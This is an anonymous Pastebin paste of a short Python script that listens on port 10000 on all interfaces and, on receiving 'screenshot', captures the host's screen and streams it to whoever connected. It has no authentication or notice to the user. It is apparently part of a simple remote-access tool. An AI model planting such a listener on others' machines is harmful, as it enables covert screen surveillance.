Advertisement
Guest User

Untitled

a guest
Nov 18th, 2019
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.71 KB | None | 0 0
  1. import socket
  2. from PIL import ImageGrab
  3. from os import remove
  4. host = '0.0.0.0'
  5. port = 10000
  6.  
  7. server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. server_socket.bind((host, port))
  9. server_socket.listen(1)
  10. client_socket, address = server_socket.accept()
  11. while True:
  12.     command = client_socket.recv(1024).decode()
  13.     if command.startswith('screenshot'):
  14.         image = ImageGrab.grab()
  15.         image.save('temp.png')
  16.  
  17.         with open('temp.png', 'rb') as screenshot:
  18.             chunk = screenshot.read(2048)
  19.             while chunk:
  20.                 client_socket.send(chunk)
  21.                 chunk = screenshot.read(2048)
  22.             client_socket.send(b'finish')
  23.         remove('temp.png')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement